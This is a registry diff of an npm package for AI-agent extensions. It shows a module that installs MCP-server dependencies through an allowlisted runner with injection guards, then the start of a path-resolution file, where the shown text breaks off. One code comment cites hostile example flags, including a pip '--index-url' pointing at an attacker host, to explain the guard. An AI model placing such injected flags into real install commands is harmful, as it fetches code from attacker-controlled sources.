@amsterdamdatalabs/enact-extensions 0.1.0 → 0.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +94 -20
- package/dist/index.d.ts +3 -3
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +2 -2
- package/dist/index.js.map +1 -1
- package/dist/install.d.ts +89 -0
- package/dist/install.d.ts.map +1 -1
- package/dist/install.js +219 -18
- package/dist/install.js.map +1 -1
- package/dist/validate/index.d.ts +21 -0
- package/dist/validate/index.d.ts.map +1 -1
- package/dist/validate/index.js +77 -0
- package/dist/validate/index.js.map +1 -1
- package/extensions/cmux/.agents/plugin.json +37 -0
- package/extensions/cmux/skills/cmux/SKILL.md +82 -0
- package/extensions/cmux/skills/cmux/agents/openai.yaml +4 -0
- package/extensions/cmux/skills/cmux/references/handles-and-identify.md +35 -0
- package/extensions/cmux/skills/cmux/references/panes-surfaces.md +37 -0
- package/extensions/cmux/skills/cmux/references/trigger-flash-and-health.md +23 -0
- package/extensions/cmux/skills/cmux/references/windows-workspaces.md +31 -0
- package/extensions/cmux/skills/cmux-vm-monitor/SKILL.md +122 -0
- package/extensions/cmux/skills/cmux-vm-monitor/agents/openai.yaml +4 -0
- package/extensions/cmux/skills/cmux-vm-monitor/references/cmux-commands.md +66 -0
- package/extensions/cmux/skills/cmux-vm-monitor/scripts/codex_vm_monitor.sh +45 -0
- package/extensions/cmux/skills/cmux-workspace/SKILL.md +93 -0
- package/extensions/dev-state/.agents/plugin.json +35 -0
- package/extensions/dev-state/skills/dev-state-plan-graduation/SKILL.md +194 -0
- package/extensions/dev-state/skills/dev-state-plan-graduation/agents/openai.yaml +4 -0
- package/extensions/dev-state/skills/dev-state-plan-graduation/references/reference.md +130 -0
- package/extensions/devops/.agents/plugin.json +36 -0
- package/extensions/devops/skills/azure-devops-cli/SKILL.md +431 -0
- package/extensions/devops/skills/azure-devops-cli/agents/openai.yaml +4 -0
- package/extensions/devops/skills/ci-pipeline-strategy/SKILL.md +217 -0
- package/extensions/devops/skills/ci-pipeline-strategy/agents/openai.yaml +4 -0
- package/{plugins/net-revenue-management/.codex-plugin → extensions/net-revenue-management/.agents}/plugin.json +10 -6
- package/extensions/plugin-dev/.agents/plugin.json +42 -0
- package/extensions/plugin-dev/.mcp.json +3 -0
- package/extensions/plugin-dev/agents/agent-creator.md +199 -0
- package/extensions/plugin-dev/agents/plugin-validator.md +91 -0
- package/extensions/plugin-dev/agents/skill-reviewer.md +212 -0
- package/extensions/plugin-dev/commands/_archive/create-marketplace.md +427 -0
- package/extensions/plugin-dev/commands/_archive/plugin-dev-guide.md +12 -0
- package/extensions/plugin-dev/commands/create-plugin.md +498 -0
- package/extensions/plugin-dev/commands/start.md +81 -0
- package/extensions/plugin-dev/hooks/hooks.json +3 -0
- package/extensions/plugin-dev/skills/agent-development/SKILL.md +641 -0
- package/extensions/plugin-dev/skills/agent-development/examples/agent-creation-prompt.md +250 -0
- package/extensions/plugin-dev/skills/agent-development/examples/complete-agent-examples.md +461 -0
- package/extensions/plugin-dev/skills/agent-development/references/advanced-agent-fields.md +246 -0
- package/extensions/plugin-dev/skills/agent-development/references/agent-creation-system-prompt.md +216 -0
- package/extensions/plugin-dev/skills/agent-development/references/permission-modes-rules.md +226 -0
- package/extensions/plugin-dev/skills/agent-development/references/system-prompt-design.md +464 -0
- package/extensions/plugin-dev/skills/agent-development/references/triggering-examples.md +474 -0
- package/extensions/plugin-dev/skills/agent-development/scripts/create-agent-skeleton.sh +176 -0
- package/extensions/plugin-dev/skills/agent-development/scripts/test-agent-trigger.sh +227 -0
- package/extensions/plugin-dev/skills/agent-development/scripts/validate-agent.sh +227 -0
- package/extensions/plugin-dev/skills/command-development/SKILL.md +763 -0
- package/extensions/plugin-dev/skills/command-development/examples/plugin-commands.md +612 -0
- package/extensions/plugin-dev/skills/command-development/examples/simple-commands.md +527 -0
- package/extensions/plugin-dev/skills/command-development/references/advanced-workflows.md +762 -0
- package/extensions/plugin-dev/skills/command-development/references/documentation-patterns.md +769 -0
- package/extensions/plugin-dev/skills/command-development/references/frontmatter-reference.md +508 -0
- package/extensions/plugin-dev/skills/command-development/references/interactive-commands.md +966 -0
- package/extensions/plugin-dev/skills/command-development/references/marketplace-considerations.md +943 -0
- package/extensions/plugin-dev/skills/command-development/references/plugin-features-reference.md +637 -0
- package/extensions/plugin-dev/skills/command-development/references/plugin-integration.md +191 -0
- package/extensions/plugin-dev/skills/command-development/references/skill-tool.md +447 -0
- package/extensions/plugin-dev/skills/command-development/references/testing-strategies.md +723 -0
- package/extensions/plugin-dev/skills/command-development/scripts/check-frontmatter.sh +234 -0
- package/extensions/plugin-dev/skills/command-development/scripts/validate-command.sh +160 -0
- package/extensions/plugin-dev/skills/hook-development/SKILL.md +861 -0
- package/extensions/plugin-dev/skills/hook-development/examples/load-context.sh +55 -0
- package/extensions/plugin-dev/skills/hook-development/examples/validate-bash.sh +57 -0
- package/extensions/plugin-dev/skills/hook-development/examples/validate-write.sh +48 -0
- package/extensions/plugin-dev/skills/hook-development/references/advanced.md +871 -0
- package/extensions/plugin-dev/skills/hook-development/references/hook-input-schemas.md +145 -0
- package/extensions/plugin-dev/skills/hook-development/references/migration.md +392 -0
- package/extensions/plugin-dev/skills/hook-development/references/patterns.md +430 -0
- package/extensions/plugin-dev/skills/hook-development/scripts/README.md +181 -0
- package/extensions/plugin-dev/skills/hook-development/scripts/hook-linter.sh +153 -0
- package/extensions/plugin-dev/skills/hook-development/scripts/test-hook.sh +276 -0
- package/extensions/plugin-dev/skills/hook-development/scripts/validate-hook-schema.sh +159 -0
- package/extensions/plugin-dev/skills/mcp-integration/SKILL.md +775 -0
- package/extensions/plugin-dev/skills/mcp-integration/examples/http-server.json +20 -0
- package/extensions/plugin-dev/skills/mcp-integration/examples/sse-server.json +19 -0
- package/extensions/plugin-dev/skills/mcp-integration/examples/stdio-server.json +38 -0
- package/extensions/plugin-dev/skills/mcp-integration/examples/ws-server.json +26 -0
- package/extensions/plugin-dev/skills/mcp-integration/references/authentication.md +601 -0
- package/extensions/plugin-dev/skills/mcp-integration/references/server-discovery.md +190 -0
- package/extensions/plugin-dev/skills/mcp-integration/references/server-types.md +572 -0
- package/extensions/plugin-dev/skills/mcp-integration/references/tool-usage.md +623 -0
- package/extensions/plugin-dev/skills/plugin-dev-guide/SKILL.md +222 -0
- package/extensions/plugin-dev/skills/plugin-structure/SKILL.md +705 -0
- package/extensions/plugin-dev/skills/plugin-structure/examples/advanced-plugin.md +774 -0
- package/extensions/plugin-dev/skills/plugin-structure/examples/minimal-plugin.md +83 -0
- package/extensions/plugin-dev/skills/plugin-structure/examples/standard-plugin.md +611 -0
- package/extensions/plugin-dev/skills/plugin-structure/references/advanced-topics.md +289 -0
- package/extensions/plugin-dev/skills/plugin-structure/references/component-patterns.md +592 -0
- package/extensions/plugin-dev/skills/plugin-structure/references/github-actions.md +233 -0
- package/extensions/plugin-dev/skills/plugin-structure/references/headless-ci-mode.md +193 -0
- package/extensions/plugin-dev/skills/plugin-structure/references/manifest-reference.md +625 -0
- package/extensions/plugin-dev/skills/plugin-structure/references/output-styles.md +116 -0
- package/extensions/plugin-dev/skills/skill-development/SKILL.md +564 -0
- package/extensions/plugin-dev/skills/skill-development/examples/complete-skill.md +465 -0
- package/extensions/plugin-dev/skills/skill-development/examples/frontmatter-templates.md +167 -0
- package/extensions/plugin-dev/skills/skill-development/examples/minimal-skill.md +111 -0
- package/extensions/plugin-dev/skills/skill-development/references/advanced-frontmatter.md +225 -0
- package/extensions/plugin-dev/skills/skill-development/references/commands-vs-skills.md +39 -0
- package/extensions/plugin-dev/skills/skill-development/references/skill-creation-workflow.md +379 -0
- package/extensions/plugin-dev/skills/skill-development/references/skill-creator-original.md +210 -0
- package/package.json +8 -11
- package/scripts/enact-extensions.mjs +751 -16
- package/scripts/hooks/session-start-drift-check.mjs +58 -0
- package/scripts/lib/build-index.mjs +50 -0
- package/scripts/lib/bundle-hash.mjs +137 -0
- package/scripts/lib/hooks.mjs +389 -0
- package/scripts/lib/ledger.mjs +162 -0
- package/scripts/lib/list-bundles.mjs +70 -0
- package/scripts/lib/outdated.mjs +144 -0
- package/scripts/lib/provision-mcp.mjs +369 -0
- package/scripts/lib/resolve-bundle.mjs +121 -0
- package/scripts/lib/run-install.mjs +321 -39
- package/scripts/lib/run-uninstall.mjs +220 -0
- package/scripts/lib/run-update.mjs +152 -0
- package/scripts/lib/run-validate.mjs +12 -18
- package/scripts/lib/serve.mjs +454 -0
- package/scripts/postinstall.mjs +63 -0
- package/scripts/setup-enact-context.sh +2 -2
- package/spec/index.json +59 -0
- package/web/assets/README.md +111 -0
- package/web/assets/logo-full.png +0 -0
- package/web/assets/logo-slim.png +0 -0
- package/web/assets/tokens/base.css +45 -0
- package/web/assets/tokens/colors.css +248 -0
- package/web/assets/tokens/effects.css +24 -0
- package/web/assets/tokens/fonts.css +8 -0
- package/web/assets/tokens/index.css +18 -0
- package/web/assets/tokens/spacing.css +50 -0
- package/web/index.html +1188 -0
- package/.agents/plugins/marketplace.json +0 -20
- package/catalog/enact-context.json +0 -9
- package/catalog/enact-factory.json +0 -7
- package/catalog/enact-operator.json +0 -7
- package/catalog/enact-wiki.json +0 -7
- package/catalog/net-revenue-management.json +0 -8
- package/scripts/rename-supervisor-to-operator.pl +0 -66
- package/scripts/sync-manifests.mjs +0 -23
- package/scripts/validate-catalog.mjs +0 -37
- package/scripts/validate-plugin.mjs +0 -10
- /package/{plugins → extensions}/net-revenue-management/.mcp.json +0 -0
- /package/{plugins → extensions}/net-revenue-management/skills/net-revenue-risks/SKILL.md +0 -0
- /package/{plugins → extensions}/net-revenue-management/skills/net-revenue-scenario/SKILL.md +0 -0
|
@@ -0,0 +1,369 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* provision-mcp.mjs — auto-provision a bundle's MCP-server dependencies at install.
|
|
3
|
+
*
|
|
4
|
+
* A bundle's canonical .agents/plugin.json may declare `mcpServers`, either inline
|
|
5
|
+
* or as a relative path to a .mcp.json file, e.g.:
|
|
6
|
+
*
|
|
7
|
+
* { "mcpServers": "./.mcp.json" }
|
|
8
|
+
*
|
|
9
|
+
* and .mcp.json:
|
|
10
|
+
*
|
|
11
|
+
* { "mcpServers": { "net_revenue_rgm": { "command": "uvx",
|
|
12
|
+
* "args": ["net-revenue-rgm"], "env": {} } } }
|
|
13
|
+
*
|
|
14
|
+
* Today install COPIES .mcp.json (registers the server) but never installs the
|
|
15
|
+
* underlying package — `uvx net-revenue-rgm` only fetches it lazily at first MCP
|
|
16
|
+
* launch. This module provisions those deps eagerly at install time.
|
|
17
|
+
*
|
|
18
|
+
* Command mapping (runner derived from the server's `command`):
|
|
19
|
+
* uvx <pkg> → uv tool install <pkg> (uvx is uv's ephemeral runner;
|
|
20
|
+
* `uv tool install` makes it resident)
|
|
21
|
+
* npx <pkg> → npm install -g <pkg>
|
|
22
|
+
* pipx <pkg> → pipx install <pkg>
|
|
23
|
+
* pip install … → pip install … (as given)
|
|
24
|
+
* pip3 install … → pip3 install … (as given)
|
|
25
|
+
* anything else → skipped (local path / node / python / docker — nothing to fetch)
|
|
26
|
+
*
|
|
27
|
+
* SECURITY
|
|
28
|
+
* - Only a fixed allowlist of runners may ever be invoked: uv, npm, pipx, pip, pip3.
|
|
29
|
+
* - Arguments are derived from the bundle manifest and the fixed mapping above.
|
|
30
|
+
* - Execution always uses spawnSync(runner, [args...], { shell: false }) — never a
|
|
31
|
+
* shell string — so nothing in the manifest can inject shell metacharacters.
|
|
32
|
+
* - The bundle's raw `command` is NEVER executed directly; only the mapped
|
|
33
|
+
* provisioning runner runs.
|
|
34
|
+
*
|
|
35
|
+
* BEST-EFFORT
|
|
36
|
+
* - Provisioning runs BY DEFAULT. Pass { noProvision: true } to skip it entirely.
|
|
37
|
+
* - If the provisioning runner is missing from PATH, we WARN with install
|
|
38
|
+
* guidance and record status "missing-runner" — the install is NOT failed.
|
|
39
|
+
* - Any exec failure (nonzero exit, spawn error) WARNS and records "failed" —
|
|
40
|
+
* the install is NOT failed.
|
|
41
|
+
*
|
|
42
|
+
* Per-server result shape:
|
|
43
|
+
* { server, command, package, status, detail }
|
|
44
|
+
* status ∈ "provisioned" | "skipped" | "missing-runner" | "failed"
|
|
45
|
+
*/
|
|
46
|
+
|
|
47
|
+
import { spawnSync } from "node:child_process";
|
|
48
|
+
import { existsSync, readFileSync } from "node:fs";
|
|
49
|
+
import { isAbsolute, join, resolve } from "node:path";
|
|
50
|
+
|
|
51
|
+
// ---------------------------------------------------------------------------
|
|
52
|
+
// Runner allowlist + install guidance
|
|
53
|
+
// ---------------------------------------------------------------------------
|
|
54
|
+
|
|
55
|
+
/** Fixed allowlist of provisioning runners that may be invoked. */
|
|
56
|
+
const ALLOWED_RUNNERS = new Set(["uv", "npm", "pipx", "pip", "pip3"]);
|
|
57
|
+
|
|
58
|
+
/** Install guidance per runner, surfaced when the runner is missing from PATH. */
|
|
59
|
+
const RUNNER_GUIDANCE = {
|
|
60
|
+
uv: "install: https://docs.astral.sh/uv/",
|
|
61
|
+
npm: "install Node.js + npm: https://nodejs.org/",
|
|
62
|
+
pipx: "install: https://pipx.pypa.io/stable/installation/",
|
|
63
|
+
pip: "install Python + pip: https://pip.pypa.io/",
|
|
64
|
+
pip3: "install Python + pip: https://pip.pypa.io/",
|
|
65
|
+
};
|
|
66
|
+
|
|
67
|
+
// ---------------------------------------------------------------------------
|
|
68
|
+
// Package-token validation
|
|
69
|
+
// ---------------------------------------------------------------------------
|
|
70
|
+
|
|
71
|
+
/**
|
|
72
|
+
* Return true when a package token is safe to pass to a provisioning runner.
|
|
73
|
+
*
|
|
74
|
+
* Rejects tokens that:
|
|
75
|
+
* - Start with "-" (option injection: e.g. `--with=evil`, `--index-url=…`)
|
|
76
|
+
* - Are empty or non-string
|
|
77
|
+
*
|
|
78
|
+
* Shell metacharacters are not a concern (shell:false is enforced at exec time),
|
|
79
|
+
* but leading dashes are: they become CLI flags for the runner even with
|
|
80
|
+
* shell:false (e.g. `uv tool install --with=evil` or
|
|
81
|
+
* `pip install --index-url=https://attacker.com pkg`).
|
|
82
|
+
*
|
|
83
|
+
* @param {unknown} token
|
|
84
|
+
* @returns {boolean}
|
|
85
|
+
*/
|
|
86
|
+
function isSafePackageToken(token) {
|
|
87
|
+
return typeof token === "string" && token.length > 0 && !token.startsWith("-");
|
|
88
|
+
}
|
|
89
|
+
|
|
90
|
+
// ---------------------------------------------------------------------------
|
|
91
|
+
// command → { runner, args } mapping
|
|
92
|
+
// ---------------------------------------------------------------------------
|
|
93
|
+
|
|
94
|
+
/**
|
|
95
|
+
* Map a bundle server's { command, args } to a persistent provisioning command.
|
|
96
|
+
* Returns null when the command is unknown / there is nothing to fetch, or when
|
|
97
|
+
* the resolved package token fails the safety check (starts with "-").
|
|
98
|
+
*
|
|
99
|
+
* @param {string} command
|
|
100
|
+
* @param {string[]} args
|
|
101
|
+
* @returns {{ runner: string, args: string[], package: string } | null}
|
|
102
|
+
*/
|
|
103
|
+
function mapProvisionCommand(command, args) {
|
|
104
|
+
const a = Array.isArray(args) ? args.filter((x) => typeof x === "string") : [];
|
|
105
|
+
|
|
106
|
+
switch (command) {
|
|
107
|
+
case "uvx": {
|
|
108
|
+
// uvx <pkg> [extra…] → uv tool install <pkg>.
|
|
109
|
+
// Only a[0] is used; skip if it starts with "-" (option injection guard).
|
|
110
|
+
const pkg = a[0];
|
|
111
|
+
if (!isSafePackageToken(pkg)) return null;
|
|
112
|
+
return { runner: "uv", args: ["tool", "install", pkg], package: pkg };
|
|
113
|
+
}
|
|
114
|
+
case "npx": {
|
|
115
|
+
// npx [-y] <pkg> → npm install -g <pkg>. Skip leading flags to find the pkg.
|
|
116
|
+
const pkg = a.find((x) => !x.startsWith("-"));
|
|
117
|
+
if (!isSafePackageToken(pkg)) return null;
|
|
118
|
+
return { runner: "npm", args: ["install", "-g", pkg], package: pkg };
|
|
119
|
+
}
|
|
120
|
+
case "pipx": {
|
|
121
|
+
// pipx <pkg> OR pipx run <pkg> → pipx install <pkg>.
|
|
122
|
+
const rest = a[0] === "run" ? a.slice(1) : a;
|
|
123
|
+
const pkg = rest.find((x) => !x.startsWith("-"));
|
|
124
|
+
if (!isSafePackageToken(pkg)) return null;
|
|
125
|
+
return { runner: "pipx", args: ["install", pkg], package: pkg };
|
|
126
|
+
}
|
|
127
|
+
case "pip":
|
|
128
|
+
case "pip3": {
|
|
129
|
+
// Only honour an explicit `install` invocation.
|
|
130
|
+
// SECURITY: pass only the package name, never the raw args array. Passing
|
|
131
|
+
// the full args array lets a malicious manifest inject pip flags such as
|
|
132
|
+
// --index-url, --trusted-host, --extra-index-url, or --target, all of
|
|
133
|
+
// which can redirect the install to an attacker-controlled source/path.
|
|
134
|
+
if (a[0] !== "install") return null;
|
|
135
|
+
const pkg = a.slice(1).find((x) => !x.startsWith("-")) ?? "";
|
|
136
|
+
if (!isSafePackageToken(pkg)) return null;
|
|
137
|
+
return { runner: command, args: ["install", pkg], package: pkg };
|
|
138
|
+
}
|
|
139
|
+
default:
|
|
140
|
+
// node / python / docker / local path → nothing to fetch.
|
|
141
|
+
return null;
|
|
142
|
+
}
|
|
143
|
+
}
|
|
144
|
+
|
|
145
|
+
// ---------------------------------------------------------------------------
|
|
146
|
+
// Default exec runner — a thin spawnSync wrapper (shell:false). Injectable.
|
|
147
|
+
// ---------------------------------------------------------------------------
|
|
148
|
+
|
|
149
|
+
/**
|
|
150
|
+
* Default exec runner. NEVER uses a shell.
|
|
151
|
+
* @param {string} runner
|
|
152
|
+
* @param {string[]} args
|
|
153
|
+
* @returns {{ status: number|null, stdout: string, stderr: string, error?: Error }}
|
|
154
|
+
*/
|
|
155
|
+
function defaultExec(runner, args) {
|
|
156
|
+
const res = spawnSync(runner, args, {
|
|
157
|
+
shell: false,
|
|
158
|
+
encoding: "utf8",
|
|
159
|
+
stdio: ["ignore", "pipe", "pipe"],
|
|
160
|
+
});
|
|
161
|
+
return {
|
|
162
|
+
status: res.status,
|
|
163
|
+
stdout: res.stdout ?? "",
|
|
164
|
+
stderr: res.stderr ?? "",
|
|
165
|
+
error: res.error,
|
|
166
|
+
};
|
|
167
|
+
}
|
|
168
|
+
|
|
169
|
+
/**
|
|
170
|
+
* Default PATH check — is the runner resolvable? Uses the platform `which`/`where`.
|
|
171
|
+
* @param {string} runner
|
|
172
|
+
* @returns {boolean}
|
|
173
|
+
*/
|
|
174
|
+
defaultExec.which = (runner) => {
|
|
175
|
+
const probe = process.platform === "win32" ? "where" : "which";
|
|
176
|
+
const res = spawnSync(probe, [runner], { shell: false, stdio: "ignore" });
|
|
177
|
+
return res.status === 0;
|
|
178
|
+
};
|
|
179
|
+
|
|
180
|
+
// ---------------------------------------------------------------------------
|
|
181
|
+
// readMcpServers — resolve the declared MCP servers for a bundle.
|
|
182
|
+
// ---------------------------------------------------------------------------
|
|
183
|
+
|
|
184
|
+
function readManifest(pluginRoot) {
|
|
185
|
+
const manifestPath = join(pluginRoot, ".agents", "plugin.json");
|
|
186
|
+
if (!existsSync(manifestPath)) return null;
|
|
187
|
+
try {
|
|
188
|
+
return JSON.parse(readFileSync(manifestPath, "utf8"));
|
|
189
|
+
} catch {
|
|
190
|
+
return null;
|
|
191
|
+
}
|
|
192
|
+
}
|
|
193
|
+
|
|
194
|
+
/**
|
|
195
|
+
* Read the `mcpServers` map declared by a bundle's canonical .agents/plugin.json.
|
|
196
|
+
*
|
|
197
|
+
* The `mcpServers` field may be:
|
|
198
|
+
* - a relative path (e.g. "./.mcp.json") → read that file's `mcpServers` object
|
|
199
|
+
* - an inline object → returned directly
|
|
200
|
+
* - absent → {}
|
|
201
|
+
*
|
|
202
|
+
* @param {string} pluginRoot
|
|
203
|
+
* @returns {Record<string, { command?: string, args?: string[], env?: object }>}
|
|
204
|
+
*/
|
|
205
|
+
export function readMcpServers(pluginRoot) {
|
|
206
|
+
const manifest = readManifest(pluginRoot);
|
|
207
|
+
if (!manifest) return {};
|
|
208
|
+
|
|
209
|
+
const field = manifest.mcpServers;
|
|
210
|
+
if (!field) return {};
|
|
211
|
+
|
|
212
|
+
// Inline object form.
|
|
213
|
+
if (typeof field === "object") {
|
|
214
|
+
return field;
|
|
215
|
+
}
|
|
216
|
+
|
|
217
|
+
// Path form — resolve relative to the bundle root.
|
|
218
|
+
if (typeof field === "string") {
|
|
219
|
+
const mcpPath = isAbsolute(field) ? field : resolve(pluginRoot, field);
|
|
220
|
+
if (!existsSync(mcpPath)) return {};
|
|
221
|
+
try {
|
|
222
|
+
const parsed = JSON.parse(readFileSync(mcpPath, "utf8"));
|
|
223
|
+
const servers = parsed && typeof parsed === "object" ? parsed.mcpServers : null;
|
|
224
|
+
return servers && typeof servers === "object" ? servers : {};
|
|
225
|
+
} catch {
|
|
226
|
+
return {};
|
|
227
|
+
}
|
|
228
|
+
}
|
|
229
|
+
|
|
230
|
+
return {};
|
|
231
|
+
}
|
|
232
|
+
|
|
233
|
+
// ---------------------------------------------------------------------------
|
|
234
|
+
// provisionMcp — best-effort provision of every declared server's package.
|
|
235
|
+
// ---------------------------------------------------------------------------
|
|
236
|
+
|
|
237
|
+
function warn(msg) {
|
|
238
|
+
process.stderr.write(`[enact-extensions install] ${msg}\n`);
|
|
239
|
+
}
|
|
240
|
+
|
|
241
|
+
/**
|
|
242
|
+
* Provision the underlying packages for every MCP server a bundle declares.
|
|
243
|
+
*
|
|
244
|
+
* @param {string} pluginRoot
|
|
245
|
+
* @param {object} [options]
|
|
246
|
+
* @param {boolean} [options.noProvision] - Skip provisioning entirely.
|
|
247
|
+
* @param {Function} [options.exec] - Injectable exec runner (defaults to a
|
|
248
|
+
* spawnSync wrapper). Must expose .which().
|
|
249
|
+
* @returns {Array<{ server, command, package, status, detail }>}
|
|
250
|
+
*/
|
|
251
|
+
export function provisionMcp(pluginRoot, options = {}) {
|
|
252
|
+
if (options.noProvision) return [];
|
|
253
|
+
|
|
254
|
+
const exec = options.exec ?? defaultExec;
|
|
255
|
+
const which =
|
|
256
|
+
typeof exec.which === "function" ? exec.which : (r) => ALLOWED_RUNNERS.has(r);
|
|
257
|
+
|
|
258
|
+
const servers = readMcpServers(pluginRoot);
|
|
259
|
+
const results = [];
|
|
260
|
+
|
|
261
|
+
for (const [serverName, def] of Object.entries(servers)) {
|
|
262
|
+
const command = def && typeof def.command === "string" ? def.command : "";
|
|
263
|
+
const args = def && Array.isArray(def.args) ? def.args : [];
|
|
264
|
+
|
|
265
|
+
const mapped = mapProvisionCommand(command, args);
|
|
266
|
+
|
|
267
|
+
// Unknown / nothing-to-fetch → skip.
|
|
268
|
+
if (!mapped) {
|
|
269
|
+
results.push({
|
|
270
|
+
server: serverName,
|
|
271
|
+
command,
|
|
272
|
+
package: "",
|
|
273
|
+
status: "skipped",
|
|
274
|
+
detail: `no provisioning mapping for command "${command || "(none)"}"`,
|
|
275
|
+
});
|
|
276
|
+
continue;
|
|
277
|
+
}
|
|
278
|
+
|
|
279
|
+
// Defence-in-depth: never invoke a runner outside the allowlist.
|
|
280
|
+
if (!ALLOWED_RUNNERS.has(mapped.runner)) {
|
|
281
|
+
results.push({
|
|
282
|
+
server: serverName,
|
|
283
|
+
command,
|
|
284
|
+
package: mapped.package,
|
|
285
|
+
status: "skipped",
|
|
286
|
+
detail: `runner "${mapped.runner}" not on allowlist`,
|
|
287
|
+
});
|
|
288
|
+
continue;
|
|
289
|
+
}
|
|
290
|
+
|
|
291
|
+
// PATH check — if the runner is missing, WARN with guidance, do NOT fail.
|
|
292
|
+
let present;
|
|
293
|
+
try {
|
|
294
|
+
present = which(mapped.runner);
|
|
295
|
+
} catch {
|
|
296
|
+
present = false;
|
|
297
|
+
}
|
|
298
|
+
if (!present) {
|
|
299
|
+
const guidance = RUNNER_GUIDANCE[mapped.runner] ?? "";
|
|
300
|
+
const detail = `${mapped.package || serverName} needs \`${command}\` (${mapped.runner}); ${guidance}`;
|
|
301
|
+
warn(`Warning: ${detail}`);
|
|
302
|
+
results.push({
|
|
303
|
+
server: serverName,
|
|
304
|
+
command,
|
|
305
|
+
package: mapped.package,
|
|
306
|
+
status: "missing-runner",
|
|
307
|
+
detail,
|
|
308
|
+
});
|
|
309
|
+
continue;
|
|
310
|
+
}
|
|
311
|
+
|
|
312
|
+
// Provision — best effort. Any failure WARNS but never throws.
|
|
313
|
+
try {
|
|
314
|
+
const res = exec(mapped.runner, mapped.args) ?? {};
|
|
315
|
+
// Success: exit status 0 and no spawn error.
|
|
316
|
+
if (res.status === 0 && !res.error) {
|
|
317
|
+
results.push({
|
|
318
|
+
server: serverName,
|
|
319
|
+
command,
|
|
320
|
+
package: mapped.package,
|
|
321
|
+
status: "provisioned",
|
|
322
|
+
detail: `${mapped.runner} ${mapped.args.join(" ")}`,
|
|
323
|
+
});
|
|
324
|
+
continue;
|
|
325
|
+
}
|
|
326
|
+
// Nonzero exit or spawn error.
|
|
327
|
+
const stderr = res.stderr ? String(res.stderr).trim() : "";
|
|
328
|
+
const code = res.status;
|
|
329
|
+
const errMsg = res.error ? res.error.message : "";
|
|
330
|
+
const detail =
|
|
331
|
+
`${mapped.runner} ${mapped.args.join(" ")} failed` +
|
|
332
|
+
(code != null ? ` (exit ${code})` : "") +
|
|
333
|
+
(stderr ? `: ${stderr}` : errMsg ? `: ${errMsg}` : "");
|
|
334
|
+
warn(`Warning: ${detail}`);
|
|
335
|
+
results.push({
|
|
336
|
+
server: serverName,
|
|
337
|
+
command,
|
|
338
|
+
package: mapped.package,
|
|
339
|
+
status: "failed",
|
|
340
|
+
detail,
|
|
341
|
+
});
|
|
342
|
+
} catch (err) {
|
|
343
|
+
const detail = `${mapped.runner} ${mapped.args.join(" ")} failed: ${
|
|
344
|
+
err instanceof Error ? err.message : String(err)
|
|
345
|
+
}`;
|
|
346
|
+
warn(`Warning: ${detail}`);
|
|
347
|
+
results.push({
|
|
348
|
+
server: serverName,
|
|
349
|
+
command,
|
|
350
|
+
package: mapped.package,
|
|
351
|
+
status: "failed",
|
|
352
|
+
detail,
|
|
353
|
+
});
|
|
354
|
+
}
|
|
355
|
+
}
|
|
356
|
+
|
|
357
|
+
return results;
|
|
358
|
+
}
|
|
359
|
+
|
|
360
|
+
/**
|
|
361
|
+
* Render a concise one-line summary per provisioned/failed server, for logging.
|
|
362
|
+
* @param {Array<{server, package, status, detail}>} results
|
|
363
|
+
* @returns {string[]}
|
|
364
|
+
*/
|
|
365
|
+
export function summarizeProvision(results) {
|
|
366
|
+
return results
|
|
367
|
+
.filter((r) => r.status !== "skipped")
|
|
368
|
+
.map((r) => `mcp ${r.server}: ${r.status}${r.package ? ` (${r.package})` : ""}`);
|
|
369
|
+
}
|
|
@@ -0,0 +1,121 @@
|
|
|
1
|
+
import { execSync } from "node:child_process";
|
|
2
|
+
import { existsSync } from "node:fs";
|
|
3
|
+
import { dirname, join, resolve, sep } from "node:path";
|
|
4
|
+
import { cwd as processCwd } from "node:process";
|
|
5
|
+
import { fileURLToPath } from "node:url";
|
|
6
|
+
|
|
7
|
+
const __dirname = dirname(fileURLToPath(import.meta.url));
|
|
8
|
+
|
|
9
|
+
/**
|
|
10
|
+
* The package root of enact-extensions (two levels up from scripts/lib/).
|
|
11
|
+
* This is resolved relative to THIS file's location so it works regardless
|
|
12
|
+
* of where the CLI is invoked from.
|
|
13
|
+
*/
|
|
14
|
+
const PACKAGE_ROOT = resolve(__dirname, "..", "..");
|
|
15
|
+
|
|
16
|
+
/**
|
|
17
|
+
* Returns true if `dir` looks like a valid plugin bundle root
|
|
18
|
+
* (i.e. it contains .agents/plugin.json).
|
|
19
|
+
*/
|
|
20
|
+
function isBundle(dir) {
|
|
21
|
+
return existsSync(join(dir, ".agents", "plugin.json"));
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
/**
|
|
25
|
+
* Determine whether arg looks like a filesystem path (contains a separator)
|
|
26
|
+
* rather than a bare name.
|
|
27
|
+
*/
|
|
28
|
+
function isPathLike(arg) {
|
|
29
|
+
return arg.includes("/") || arg.includes(sep);
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
/**
|
|
33
|
+
* Get the npm global root via `npm root -g`. Returns null on failure.
|
|
34
|
+
*/
|
|
35
|
+
function getNpmGlobalRoot() {
|
|
36
|
+
try {
|
|
37
|
+
const result = execSync("npm root -g", { encoding: "utf8", timeout: 5000, stdio: ["pipe", "pipe", "pipe"] });
|
|
38
|
+
return result.trim();
|
|
39
|
+
} catch {
|
|
40
|
+
return null;
|
|
41
|
+
}
|
|
42
|
+
}
|
|
43
|
+
|
|
44
|
+
/**
|
|
45
|
+
* Resolve a plugin argument to an absolute bundle path.
|
|
46
|
+
*
|
|
47
|
+
* Resolution order:
|
|
48
|
+
* 1. If `arg` is an existing path (absolute, or relative to `cwd`) → return it.
|
|
49
|
+
* 2. Else if `arg` is a bare name (no path separators):
|
|
50
|
+
* a. <packageRoot>/extensions/<arg> (where packageRoot is this CLI's own package)
|
|
51
|
+
* b. <cwd>/extensions/<arg>
|
|
52
|
+
* c. <npmGlobalRoot>/@amsterdamdatalabs/enact-extensions/extensions/<arg>
|
|
53
|
+
* 3. If nothing found → throw a clear error listing all candidates tried.
|
|
54
|
+
*
|
|
55
|
+
* @param {string} arg - The argument from the CLI (bare name or path).
|
|
56
|
+
* @param {{ cwd?: string }} [opts]
|
|
57
|
+
* @returns {string} Resolved absolute path to the bundle root.
|
|
58
|
+
*/
|
|
59
|
+
export function resolveBundlePath(arg, opts = {}) {
|
|
60
|
+
const cwd = opts.cwd ?? processCwd();
|
|
61
|
+
|
|
62
